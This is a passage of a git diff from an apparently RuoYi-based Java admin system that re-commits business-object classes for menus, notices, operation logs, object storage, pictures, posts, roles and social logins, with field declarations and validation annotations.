io.github.linpeilie.annotations.AutoMapper; +import jakarta.validation.constraints.NotBlank; +import jakarta.validation.constraints.NotNull; +import jakarta.validation.constraints.Pattern; +import jakarta.validation.constraints.Size; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.dromara.common.core.constant.RegexConstants; +import org.dromara.common.mybatis.core.domain.BaseEntity; +import org.dromara.system.domain.SysMenu; + +/** + * 菜单权限业务对象 sys_menu + * + * @author Michelle.Chung + */ + +@Data +@EqualsAndHashCode(callSuper = true) +@AutoMapper(target = SysMenu.class, reverseConvertGenerate = false) +public class SysMenuBo extends BaseEntity { + + /** + * 菜单ID + */ + private Long menuId; + + /** + * 父菜单ID + */ + private Long parentId; + + /** + * 菜单名称 + */ + @NotBlank(message = "菜单名称不能为空") + @Size(min = 0, max = 50, message = "菜单名称长度不能超过{max}个字符") + private String menuName; + + /** + * 显示顺序 + */ + @NotNull(message = "显示顺序不能为空") + private Integer orderNum; + + /** + * 路由地址 + */ + @Size(min = 0, max = 200, message = "路由地址不能超过{max}个字符") + private String path; + + /** + * 组件路径 + */ + @Size(min = 0, max = 200, message = "组件路径不能超过{max}个字符") + private String component; + + /** + * 路由参数 + */ + private String queryParam; + + /** + * 是否为外链(0是 1否) + */ + private String isFrame; + + /** + * 是否缓存(0缓存 1不缓存) + */ + private String isCache; + + /** + * 菜单类型(M目录 C菜单 F按钮) + */ + @NotBlank(message = "菜单类型不能为空") + private String menuType; + + /** + * 显示状态(0显示 1隐藏) + */ + private String visible; + + /** + * 菜单状态(0正常 1停用) + */ + private String status; + + /** + * 权限标识 + */ + @JsonInclude(JsonInclude.Include.NON_NULL) + @Size(min = 0, max = 100, message = "权限标识长度不能超过{max}个字符") + @Pattern(regexp = RegexConstants.PERMISSION_STRING, message = "权限标识必须符合 tool:build:list 格式") + private String perms; + + /** + * 菜单图标 + */ + private String icon; + + /** + * 备注 + */ + private String remark; + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/bo/SysNoticeBo.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/bo/SysNoticeBo.java index cdcc575..bf070f7 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/bo/SysNoticeBo.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/bo/SysNoticeBo.java @@ -1,61 +1,61 @@ -package org.dromara.system.domain.bo; - -import io.github.linpeilie.annotations.AutoMapper; -import jakarta.validation.constraints.NotBlank; -import jakarta.validation.constraints.Size; -import lombok.Data; -import lombok.EqualsAndHashCode; -import org.dromara.common.core.xss.Xss; -import org.dromara.common.mybatis.core.domain.BaseEntity; -import org.dromara.system.domain.SysNotice; - -/** - * 通知公告业务对象 sys_notice - * - * @author Michelle.Chung - */ - -@Data -@EqualsAndHashCode(callSuper = true) -@AutoMapper(target = SysNotice.class, reverseConvertGenerate = false) -public class SysNoticeBo extends BaseEntity { - - /** - * 公告ID - */ - private Long noticeId; - - /** - * 公告标题 - */ - @Xss(message = "公告标题不能包含脚本字符") - @NotBlank(message = "公告标题不能为空") - @Size(min = 0, max = 50, message = "公告标题不能超过{max}个字符") - private String noticeTitle; - - /** - * 公告类型(1通知 2公告) - */ - private String noticeType; - - /** - * 公告内容 - */ - private String noticeContent; - - /** - * 公告状态(0正常 1关闭) - */ - private String status; - - /** - * 备注 - */ - private String remark; - - /** - * 创建人名称 - */ - private String createByName; - -} +package org.dromara.system.domain.bo; + +import io.github.linpeilie.annotations.AutoMapper; +import jakarta.validation.constraints.NotBlank; +import jakarta.validation.constraints.Size; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.dromara.common.core.xss.Xss; +import org.dromara.common.mybatis.core.domain.BaseEntity; +import org.dromara.system.domain.SysNotice; + +/** + * 通知公告业务对象 sys_notice + * + * @author Michelle.Chung + */ + +@Data +@EqualsAndHashCode(callSuper = true) +@AutoMapper(target = SysNotice.class, reverseConvertGenerate = false) +public class SysNoticeBo extends BaseEntity { + + /** + * 公告ID + */ + private Long noticeId; + + /** + * 公告标题 + */ + @Xss(message = "公告标题不能包含脚本字符") + @NotBlank(message = "公告标题不能为空") + @Size(min = 0, max = 50, message = "公告标题不能超过{max}个字符") + private String noticeTitle; + + /** + * 公告类型(1通知 2公告) + */ + private String noticeType; + + /** + * 公告内容 + */ + private String noticeContent; + + /** + * 公告状态(0正常 1关闭) + */ + private String status; + + /** + * 备注 + */ + private String remark; + + /** + * 创建人名称 + */ + private String createByName; + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/bo/SysOperLogBo.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/bo/SysOperLogBo.java index 8c1e6e3..58a4bb4 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/bo/SysOperLogBo.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/bo/SysOperLogBo.java @@ -1,129 +1,129 @@ -package org.dromara.system.domain.bo; - -import io.github.linpeilie.annotations.AutoMapper; -import io.github.linpeilie.annotations.AutoMappers; -import lombok.Data; -import org.dromara.common.log.event.OperLogEvent; -import org.dromara.system.domain.SysOperLog; - -import java.util.Date; -import java.util.HashMap; -import java.util.Map; - -/** - * 操作日志记录业务对象 sys_oper_log - * - * @author Michelle.Chung - * @date 2023-02-07 - */ - -@Data -@AutoMappers({ - @AutoMapper(target = SysOperLog.class, reverseConvertGenerate = false), - @AutoMapper(target = OperLogEvent.class) -}) -public class SysOperLogBo { - - /** - * 日志主键 - */ - private Long operId; - - /** - * 租户编号 - */ - private String tenantId; - - /** - * 模块标题 - */ - private String title; - - /** - * 业务类型(0其它 1新增 2修改 3删除) - */ - private Integer businessType; - - /** - * 业务类型数组 - */ - private Integer[] businessTypes; - - /** - * 方法名称 - */ - private String method; - - /** - * 请求方式 - */ - private String requestMethod; - - /** - * 操作类别(0其它 1后台用户 2手机端用户) - */ - private Integer operatorType; - - /** - * 操作人员 - */ - private String operName; - - /** - * 部门名称 - */ - private String deptName; - - /** - * 请求URL - */ - private String operUrl; - - /** - * 主机地址 - */ - private String operIp; - - /** - * 操作地点 - */ - private String operLocation; - - /** - * 请求参数 - */ - private String operParam; - - /** - * 返回参数 - */ - private String jsonResult; - - /** - * 操作状态(0正常 1异常) - */ - private Integer status; - - /** - * 错误消息 - */ - private String errorMsg; - - /** - * 操作时间 - */ - private Date operTime; - - /** - * 消耗时间 - */ - private Long costTime; - - /** - * 请求参数 - */ - private Map params = new HashMap<>(); - - private Long qid; - -} +package org.dromara.system.domain.bo; + +import io.github.linpeilie.annotations.AutoMapper; +import io.github.linpeilie.annotations.AutoMappers; +import lombok.Data; +import org.dromara.common.log.event.OperLogEvent; +import org.dromara.system.domain.SysOperLog; + +import java.util.Date; +import java.util.HashMap; +import java.util.Map; + +/** + * 操作日志记录业务对象 sys_oper_log + * + * @author Michelle.Chung + * @date 2023-02-07 + */ + +@Data +@AutoMappers({ + @AutoMapper(target = SysOperLog.class, reverseConvertGenerate = false), + @AutoMapper(target = OperLogEvent.class) +}) +public class SysOperLogBo { + + /** + * 日志主键 + */ + private Long operId; + + /** + * 租户编号 + */ + private String tenantId; + + /** + * 模块标题 + */ + private String title; + + /** + * 业务类型(0其它 1新增 2修改 3删除) + */ + private Integer businessType; + + /** + * 业务类型数组 + */ + private Integer[] businessTypes; + + /** + * 方法名称 + */ + private String method; + + /** + * 请求方式 + */ + private String requestMethod; + + /** + * 操作类别(0其它 1后台用户 2手机端用户) + */ + private Integer operatorType; + + /** + * 操作人员 + */ + private String operName; + + /** + * 部门名称 + */ + private String deptName; + + /** + * 请求URL + */ + private String operUrl; + + /** + * 主机地址 + */ + private String operIp; + + /** + * 操作地点 + */ + private String operLocation; + + /** + * 请求参数 + */ + private String operParam; + + /** + * 返回参数 + */ + private String jsonResult; + + /** + * 操作状态(0正常 1异常) + */ + private Integer status; + + /** + * 错误消息 + */ + private String errorMsg; + + /** + * 操作时间 + */ + private Date operTime; + + /** + * 消耗时间 + */ + private Long costTime; + + /** + * 请求参数 + */ + private Map params = new HashMap<>(); + + private Long qid; + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/bo/SysOssBo.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/bo/SysOssBo.java index a65a3b1..51c7bf1 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/bo/SysOssBo.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/bo/SysOssBo.java @@ -1,49 +1,49 @@ -package org.dromara.system.domain.bo; - -import io.github.linpeilie.annotations.AutoMapper; -import lombok.Data; -import lombok.EqualsAndHashCode; -import org.dromara.common.mybatis.core.domain.BaseEntity; -import org.dromara.system.domain.SysOss; - -/** - * OSS对象存储分页查询对象 sys_oss - * - * @author Lion Li - */ -@Data -@EqualsAndHashCode(callSuper = true) -@AutoMapper(target = SysOss.class, reverseConvertGenerate = false) -public class SysOssBo extends BaseEntity { - - /** - * ossId - */ - private Long ossId; - - /** - * 文件名 - */ - private String fileName; - - /** - * 原名 - */ - private String originalName; - - /** - * 文件后缀名 - */ - private String fileSuffix; - - /** - * URL地址 - */ - private String url; - - /** - * 服务商 - */ - private String service; - -} +package org.dromara.system.domain.bo; + +import io.github.linpeilie.annotations.AutoMapper; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.dromara.common.mybatis.core.domain.BaseEntity; +import org.dromara.system.domain.SysOss; + +/** + * OSS对象存储分页查询对象 sys_oss + * + * @author Lion Li + */ +@Data +@EqualsAndHashCode(callSuper = true) +@AutoMapper(target = SysOss.class, reverseConvertGenerate = false) +public class SysOssBo extends BaseEntity { + + /** + * ossId + */ + private Long ossId; + + /** + * 文件名 + */ + private String fileName; + + /** + * 原名 + */ + private String originalName; + + /** + * 文件后缀名 + */ + private String fileSuffix; + + /** + * URL地址 + */ + private String url; + + /** + * 服务商 + */ + private String service; + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/bo/SysOssConfigBo.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/bo/SysOssConfigBo.java index 6065eb1..7699e5a 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/bo/SysOssConfigBo.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/bo/SysOssConfigBo.java @@ -1,109 +1,109 @@ -package org.dromara.system.domain.bo; - -import io.github.linpeilie.annotations.AutoMapper; -import jakarta.validation.constraints.NotBlank; -import jakarta.validation.constraints.NotNull; -import jakarta.validation.constraints.Size; -import lombok.Data; -import lombok.EqualsAndHashCode; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.common.mybatis.core.domain.BaseEntity; -import org.dromara.system.domain.SysOssConfig; - -/** - * 对象存储配置业务对象 sys_oss_config - * - * @author Lion Li - * @author 孤舟烟雨 - * @date 2021-08-13 - */ - -@Data -@EqualsAndHashCode(callSuper = true) -@AutoMapper(target = SysOssConfig.class, reverseConvertGenerate = false) -public class SysOssConfigBo extends BaseEntity { - - /** - * 主键 - */ - @NotNull(message = "主键不能为空", groups = {EditGroup.class}) - private Long ossConfigId; - - /** - * 配置key - */ - @NotBlank(message = "配置key不能为空", groups = {AddGroup.class, EditGroup.class}) - @Size(min = 2, max = 100, message = "configKey长度必须介于{min}和{max} 之间") - private String configKey; - - /** - * accessKey - */ - @NotBlank(message = "accessKey不能为空", groups = {AddGroup.class, EditGroup.class}) - @Size(min = 2, max = 100, message = "accessKey长度必须介于{min}和{max} 之间") - private String accessKey; - - /** - * 秘钥 - */ - @NotBlank(message = "secretKey不能为空", groups = {AddGroup.class, EditGroup.class}) - @Size(min = 2, max = 100, message = "secretKey长度必须介于{min}和{max} 之间") - private String secretKey; - - /** - * 桶名称 - */ - @NotBlank(message = "桶名称不能为空", groups = {AddGroup.class, EditGroup.class}) - @Size(min = 2, max = 100, message = "bucketName长度必须介于{min}和{max}之间") - private String bucketName; - - /** - * 前缀 - */ - private String prefix; - - /** - * 访问站点 - */ - @NotBlank(message = "访问站点不能为空", groups = {AddGroup.class, EditGroup.class}) - @Size(min = 2, max = 100, message = "endpoint长度必须介于{min}和{max}之间") - private String endpoint; - - /** - * 自定义域名 - */ - private String domain; - - /** - * 是否https(Y=是,N=否) - */ - private String isHttps; - - /** - * 是否默认(0=是,1=否) - */ - private String status; - - /** - * 域 - */ - private String region; - - /** - * 扩展字段 - */ - private String ext1; - - /** - * 备注 - */ - private String remark; - - /** - * 桶权限类型(0private 1public 2custom) - */ - @NotBlank(message = "桶权限类型不能为空", groups = {AddGroup.class, EditGroup.class}) - private String accessPolicy; - -} +package org.dromara.system.domain.bo; + +import io.github.linpeilie.annotations.AutoMapper; +import jakarta.validation.constraints.NotBlank; +import jakarta.validation.constraints.NotNull; +import jakarta.validation.constraints.Size; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.common.mybatis.core.domain.BaseEntity; +import org.dromara.system.domain.SysOssConfig; + +/** + * 对象存储配置业务对象 sys_oss_config + * + * @author Lion Li + * @author 孤舟烟雨 + * @date 2021-08-13 + */ + +@Data +@EqualsAndHashCode(callSuper = true) +@AutoMapper(target = SysOssConfig.class, reverseConvertGenerate = false) +public class SysOssConfigBo extends BaseEntity { + + /** + * 主键 + */ + @NotNull(message = "主键不能为空", groups = {EditGroup.class}) + private Long ossConfigId; + + /** + * 配置key + */ + @NotBlank(message = "配置key不能为空", groups = {AddGroup.class, EditGroup.class}) + @Size(min = 2, max = 100, message = "configKey长度必须介于{min}和{max} 之间") + private String configKey; + + /** + * accessKey + */ + @NotBlank(message = "accessKey不能为空", groups = {AddGroup.class, EditGroup.class}) + @Size(min = 2, max = 100, message = "accessKey长度必须介于{min}和{max} 之间") + private String accessKey; + + /** + * 秘钥 + */ + @NotBlank(message = "secretKey不能为空", groups = {AddGroup.class, EditGroup.class}) + @Size(min = 2, max = 100, message = "secretKey长度必须介于{min}和{max} 之间") + private String secretKey; + + /** + * 桶名称 + */ + @NotBlank(message = "桶名称不能为空", groups = {AddGroup.class, EditGroup.class}) + @Size(min = 2, max = 100, message = "bucketName长度必须介于{min}和{max}之间") + private String bucketName; + + /** + * 前缀 + */ + private String prefix; + + /** + * 访问站点 + */ + @NotBlank(message = "访问站点不能为空", groups = {AddGroup.class, EditGroup.class}) + @Size(min = 2, max = 100, message = "endpoint长度必须介于{min}和{max}之间") + private String endpoint; + + /** + * 自定义域名 + */ + private String domain; + + /** + * 是否https(Y=是,N=否) + */ + private String isHttps; + + /** + * 是否默认(0=是,1=否) + */ + private String status; + + /** + * 域 + */ + private String region; + + /** + * 扩展字段 + */ + private String ext1; + + /** + * 备注 + */ + private String remark; + + /** + * 桶权限类型(0private 1public 2custom) + */ + @NotBlank(message = "桶权限类型不能为空", groups = {AddGroup.class, EditGroup.class}) + private String accessPolicy; + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/bo/SysPictureBo.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/bo/SysPictureBo.java index c61de44..90abb07 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/bo/SysPictureBo.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/bo/SysPictureBo.java @@ -1,118 +1,118 @@ -package org.dromara.system.domain.bo; - -import io.github.linpeilie.annotations.AutoMapper; -import jakarta.validation.constraints.NotNull; -import lombok.Data; -import lombok.EqualsAndHashCode; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.common.mybatis.core.domain.BaseEntity; -import org.dromara.system.domain.SysPicture; - -import java.math.BigDecimal; -import java.util.List; - -/** - * 画册业务对象 sys_picture - * - * @author Maosw - * @date 2025-02-26 - */ -@Data -@EqualsAndHashCode(callSuper = true) -@AutoMapper(target = SysPicture.class, reverseConvertGenerate = false) -public class SysPictureBo extends BaseEntity { - - /** - * ID - */ - @NotNull(message = "ID不能为空", groups = { EditGroup.class }) - private Long id; - - /** - * 分类 1-轮播 2-画册 - */ - @NotNull(message = "分类 1-轮播 2-画册不能为空", groups = { AddGroup.class, EditGroup.class }) - private Long type; - - /** - * 标题 - */ - private String title; - - /** - * 封面图片 - */ - private String icon; - - /** - * 图片集JSON - */ - private String imgs; - - /** - * 跳转地址 - */ - private String url; - - /** - * 状态(1正常 0关闭) - */ - private Long status; - - /** - * 排序 - */ - private Long sort; - - /** - * 备注 - */ - private String remark; - - /** - * 标记 - */ - private Integer flag; - - /** - * 浏览量 - */ - private Long num; - - /** - * 租户 1-设计甄选 2-制图工厂 3-室内联盟 - */ - private Integer tenant; - - /** - * 标记集合 - */ - private String flags; - - /** - * 用户ID - */ - private Long userId; - - /** - * 工种ID - */ - private Long work; - - /** - * 工种名称 - */ - private String workName; - - /** - * 原价 - */ - private BigDecimal originalPrice; - - /** - * 优惠价 - */ - private BigDecimal discountPrice; - -} +package org.dromara.system.domain.bo; + +import io.github.linpeilie.annotations.AutoMapper; +import jakarta.validation.constraints.NotNull; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.common.mybatis.core.domain.BaseEntity; +import org.dromara.system.domain.SysPicture; + +import java.math.BigDecimal; +import java.util.List; + +/** + * 画册业务对象 sys_picture + * + * @author Maosw + * @date 2025-02-26 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@AutoMapper(target = SysPicture.class, reverseConvertGenerate = false) +public class SysPictureBo extends BaseEntity { + + /** + * ID + */ + @NotNull(message = "ID不能为空", groups = { EditGroup.class }) + private Long id; + + /** + * 分类 1-轮播 2-画册 + */ + @NotNull(message = "分类 1-轮播 2-画册不能为空", groups = { AddGroup.class, EditGroup.class }) + private Long type; + + /** + * 标题 + */ + private String title; + + /** + * 封面图片 + */ + private String icon; + + /** + * 图片集JSON + */ + private String imgs; + + /** + * 跳转地址 + */ + private String url; + + /** + * 状态(1正常 0关闭) + */ + private Long status; + + /** + * 排序 + */ + private Long sort; + + /** + * 备注 + */ + private String remark; + + /** + * 标记 + */ + private Integer flag; + + /** + * 浏览量 + */ + private Long num; + + /** + * 租户 1-设计甄选 2-制图工厂 3-室内联盟 + */ + private Integer tenant; + + /** + * 标记集合 + */ + private String flags; + + /** + * 用户ID + */ + private Long userId; + + /** + * 工种ID + */ + private Long work; + + /** + * 工种名称 + */ + private String workName; + + /** + * 原价 + */ + private BigDecimal originalPrice; + + /** + * 优惠价 + */ + private BigDecimal discountPrice; + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/bo/SysPostBo.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/bo/SysPostBo.java index 09805cd..a463154 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/bo/SysPostBo.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/bo/SysPostBo.java @@ -1,75 +1,75 @@ -package org.dromara.system.domain.bo; - -import io.github.linpeilie.annotations.AutoMapper; -import jakarta.validation.constraints.NotBlank; -import jakarta.validation.constraints.NotNull; -import jakarta.validation.constraints.Size; -import lombok.Data; -import lombok.EqualsAndHashCode; -import org.dromara.common.mybatis.core.domain.BaseEntity; -import org.dromara.system.domain.SysPost; - -/** - * 岗位信息业务对象 sys_post - * - * @author Michelle.Chung - */ - -@Data -@EqualsAndHashCode(callSuper = true) -@AutoMapper(target = SysPost.class, reverseConvertGenerate = false) -public class SysPostBo extends BaseEntity { - - /** - * 岗位ID - */ - private Long postId; - - /** - * 部门id(单部门) - */ - @NotNull(message = "部门id不能为空") - private Long deptId; - - /** - * 归属部门id(部门树) - */ - private Long belongDeptId; - - /** - * 岗位编码 - */ - @NotBlank(message = "岗位编码不能为空") - @Size(min = 0, max = 64, message = "岗位编码长度不能超过{max}个字符") - private String postCode; - - /** - * 岗位名称 - */ - @NotBlank(message = "岗位名称不能为空") - @Size(min = 0, max = 50, message = "岗位名称长度不能超过{max}个字符") - private String postName; - - /** - * 岗位类别编码 - */ - @Size(min = 0, max = 100, message = "类别编码长度不能超过{max}个字符") - private String postCategory; - - /** - * 显示顺序 - */ - @NotNull(message = "显示顺序不能为空") - private Integer postSort; - - /** - * 状态(0正常 1停用) - */ - private String status; - - /** - * 备注 - */ - private String remark; - -} +package org.dromara.system.domain.bo; + +import io.github.linpeilie.annotations.AutoMapper; +import jakarta.validation.constraints.NotBlank; +import jakarta.validation.constraints.NotNull; +import jakarta.validation.constraints.Size; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.dromara.common.mybatis.core.domain.BaseEntity; +import org.dromara.system.domain.SysPost; + +/** + * 岗位信息业务对象 sys_post + * + * @author Michelle.Chung + */ + +@Data +@EqualsAndHashCode(callSuper = true) +@AutoMapper(target = SysPost.class, reverseConvertGenerate = false) +public class SysPostBo extends BaseEntity { + + /** + * 岗位ID + */ + private Long postId; + + /** + * 部门id(单部门) + */ + @NotNull(message = "部门id不能为空") + private Long deptId; + + /** + * 归属部门id(部门树) + */ + private Long belongDeptId; + + /** + * 岗位编码 + */ + @NotBlank(message = "岗位编码不能为空") + @Size(min = 0, max = 64, message = "岗位编码长度不能超过{max}个字符") + private String postCode; + + /** + * 岗位名称 + */ + @NotBlank(message = "岗位名称不能为空") + @Size(min = 0, max = 50, message = "岗位名称长度不能超过{max}个字符") + private String postName; + + /** + * 岗位类别编码 + */ + @Size(min = 0, max = 100, message = "类别编码长度不能超过{max}个字符") + private String postCategory; + + /** + * 显示顺序 + */ + @NotNull(message = "显示顺序不能为空") + private Integer postSort; + + /** + * 状态(0正常 1停用) + */ + private String status; + + /** + * 备注 + */ + private String remark; + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/bo/SysRoleBo.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/bo/SysRoleBo.java index 6fd97cf..5b40222 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/bo/SysRoleBo.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/bo/SysRoleBo.java @@ -1,99 +1,99 @@ -package org.dromara.system.domain.bo; - -import io.github.linpeilie.annotations.AutoMapper; -import jakarta.validation.constraints.NotBlank; -import jakarta.validation.constraints.NotNull; -import jakarta.validation.constraints.Size; -import lombok.Data; -import lombok.EqualsAndHashCode; -import lombok.NoArgsConstructor; -import org.dromara.common.core.constant.SystemConstants; -import org.dromara.common.mybatis.core.domain.BaseEntity; -import org.dromara.system.domain.SysRole; - -/** - * 角色信息业务对象 sys_role - * - * @author Michelle.Chung - */ - -@Data -@NoArgsConstructor -@EqualsAndHashCode(callSuper = true) -@AutoMapper(target = SysRole.class, reverseConvertGenerate = false) -public class SysRoleBo extends BaseEntity { - - /** - * 角色ID - */ - private Long roleId; - - /** - * 角色名称 - */ - @NotBlank(message = "角色名称不能为空") - @Size(min = 0, max = 30, message = "角色名称长度不能超过{max}个字符") - private String roleName; - - /** - * 角色权限字符串 - */ - @NotBlank(message = "角色权限字符串不能为空") - @Size(min = 0, max = 100, message = "权限字符长度不能超过{max}个字符") - private String roleKey; - - /** - * 显示顺序 - */ - @NotNull(message = "显示顺序不能为空") - private Integer roleSort; - - /** - * 数据范围(1:全部数据权限 2:自定数据权限 3:本部门数据权限 4:本部门及以下数据权限) - */ - private String dataScope; - - /** - * 菜单树选择项是否关联显示 - */ - private Boolean menuCheckStrictly; - - /** - * 部门树选择项是否关联显示 - */ - private Boolean deptCheckStrictly; - - /** - * 角色状态(0正常 1停用) - */ - private String status; - - /** - * 备注 - */ - private String remark; - - /** - * 菜单组 - */ - private Long[] menuIds; - - /** - * 部门组(数据权限) - */ - private Long[] deptIds; - - /** - * 订单类型 逗号隔开 - */ - private String orderType; - - public SysRoleBo(Long roleId) { - this.roleId = roleId; - } - - public boolean isSuperAdmin() { - return SystemConstants.SUPER_ADMIN_ID.equals(this.roleId); - } - -} +package org.dromara.system.domain.bo; + +import io.github.linpeilie.annotations.AutoMapper; +import jakarta.validation.constraints.NotBlank; +import jakarta.validation.constraints.NotNull; +import jakarta.validation.constraints.Size; +import lombok.Data; +import lombok.EqualsAndHashCode; +import lombok.NoArgsConstructor; +import org.dromara.common.core.constant.SystemConstants; +import org.dromara.common.mybatis.core.domain.BaseEntity; +import org.dromara.system.domain.SysRole; + +/** + * 角色信息业务对象 sys_role + * + * @author Michelle.Chung + */ + +@Data +@NoArgsConstructor +@EqualsAndHashCode(callSuper = true) +@AutoMapper(target = SysRole.class, reverseConvertGenerate = false) +public class SysRoleBo extends BaseEntity { + + /** + * 角色ID + */ + private Long roleId; + + /** + * 角色名称 + */ + @NotBlank(message = "角色名称不能为空") + @Size(min = 0, max = 30, message = "角色名称长度不能超过{max}个字符") + private String roleName; + + /** + * 角色权限字符串 + */ + @NotBlank(message = "角色权限字符串不能为空") + @Size(min = 0, max = 100, message = "权限字符长度不能超过{max}个字符") + private String roleKey; + + /** + * 显示顺序 + */ + @NotNull(message = "显示顺序不能为空") + private Integer roleSort; + + /** + * 数据范围(1:全部数据权限 2:自定数据权限 3:本部门数据权限 4:本部门及以下数据权限) + */ + private String dataScope; + + /** + * 菜单树选择项是否关联显示 + */ + private Boolean menuCheckStrictly; + + /** + * 部门树选择项是否关联显示 + */ + private Boolean deptCheckStrictly; + + /** + * 角色状态(0正常 1停用) + */ + private String status; + + /** + * 备注 + */ + private String remark; + + /** + * 菜单组 + */ + private Long[] menuIds; + + /** + * 部门组(数据权限) + */ + private Long[] deptIds; + + /** + * 订单类型 逗号隔开 + */ + private String orderType; + + public SysRoleBo(Long roleId) { + this.roleId = roleId; + } + + public boolean isSuperAdmin() { + return SystemConstants.SUPER_ADMIN_ID.equals(this.roleId); + } + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/bo/SysSocialBo.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/bo/SysSocialBo.java index cede1e9..958046d 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/bo/SysSocialBo.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/bo/SysSocialBo.java @@ -1,142 +1,142 @@ -package org.dromara.system.domain.bo; - -import io.github.linpeilie.annotations.AutoMapper; -import jakarta.validation.constraints.NotBlank; -import jakarta.validation.constraints.NotNull; -import lombok.Data; -import lombok.EqualsAndHashCode; -import lombok.NoArgsConstructor; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.common.tenant.core.TenantEntity; -import org.dromara.system.domain.SysSocial; - -/** - * 社会化关系业务对象 sys_social - * - * @author Lion Li - */ -@Data -@NoArgsConstructor -@EqualsAndHashCode(callSuper = true) -@AutoMapper(target = SysSocial.class, reverseConvertGenerate = false) -public class SysSocialBo extends TenantEntity { - - /** - * 主键 - */ - @NotNull(message = "主键不能为空", groups = { EditGroup.class }) - private Long id; - - /** - * 认证唯一ID - */ - @NotBlank(message = "认证唯一ID不能为空", groups = { AddGroup.class, EditGroup.class }) - private String authId; - - /** - * 用户来源 - */ - @NotBlank(message = "用户来源不能为空", groups = { AddGroup.class, EditGroup.class }) - private String source; - - /** - * 用户的授权令牌 - */ - @NotBlank(message = "用户的授权令牌不能为空", groups = { AddGroup.class, EditGroup.class }) - private String accessToken; - - /** - * 用户的授权令牌的有效期,部分平台可能没有 - */ - private int expireIn; - - /** - * 刷新令牌,部分平台可能没有 - */ - private String refreshToken; - - /** - * 平台唯一id - */ - private String openId; - - /** - * 用户的 ID - */ - @NotBlank(message = "用户的ID不能为空", groups = { AddGroup.class, EditGroup.class }) - private Long userId; - - /** - * 平台的授权信息,部分平台可能没有 - */ - private String accessCode; - - /** - * 用户的 unionid - */ - private String unionId; - - /** - * 授予的权限,部分平台可能没有 - */ - private String scope; - - /** - * 授权的第三方账号 - */ - private String userName; - - /** - * 授权的第三方昵称 - */ - private String nickName; - - /** - * 授权的第三方邮箱 - */ - private String email; - - /** - * 授权的第三方头像地址 - */ - private String avatar; - - /** - * 个别平台的授权信息,部分平台可能没有 - */ - private String tokenType; - - /** - * id token,部分平台可能没有 - */ - private String idToken; - - /** - * 小米平台用户的附带属性,部分平台可能没有 - */ - private String macAlgorithm; - - /** - * 小米平台用户的附带属性,部分平台可能没有 - */ - private String macKey; - - /** - * 用户的授权code,部分平台可能没有 - */ - private String code; - - /** - * Twitter平台用户的附带属性,部分平台可能没有 - */ - private String oauthToken; - - /** - * Twitter平台用户的附带属性,部分平台可能没有 - */ - private String oauthTokenSecret; - - - -} +package org.dromara.system.domain.bo; + +import io.github.linpeilie.annotations.AutoMapper; +import jakarta.validation.constraints.NotBlank; +import jakarta.validation.constraints.NotNull; +import lombok.Data; +import lombok.EqualsAndHashCode; +import lombok.NoArgsConstructor; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.common.tenant.core.TenantEntity; +import org.dromara.system.domain.SysSocial; + +/** + * 社会化关系业务对象 sys_social + * + * @author Lion Li + */ +@Data +@NoArgsConstructor +@EqualsAndHashCode(callSuper = true) +@AutoMapper(target = SysSocial.class, reverseConvertGenerate = false) +public class SysSocialBo extends TenantEntity { + + /** + * 主键 + */ + @NotNull(message = "主键不能为空", groups = { EditGroup.class }) + private Long id; + + /** + * 认证唯一ID + */ + @NotBlank(message = 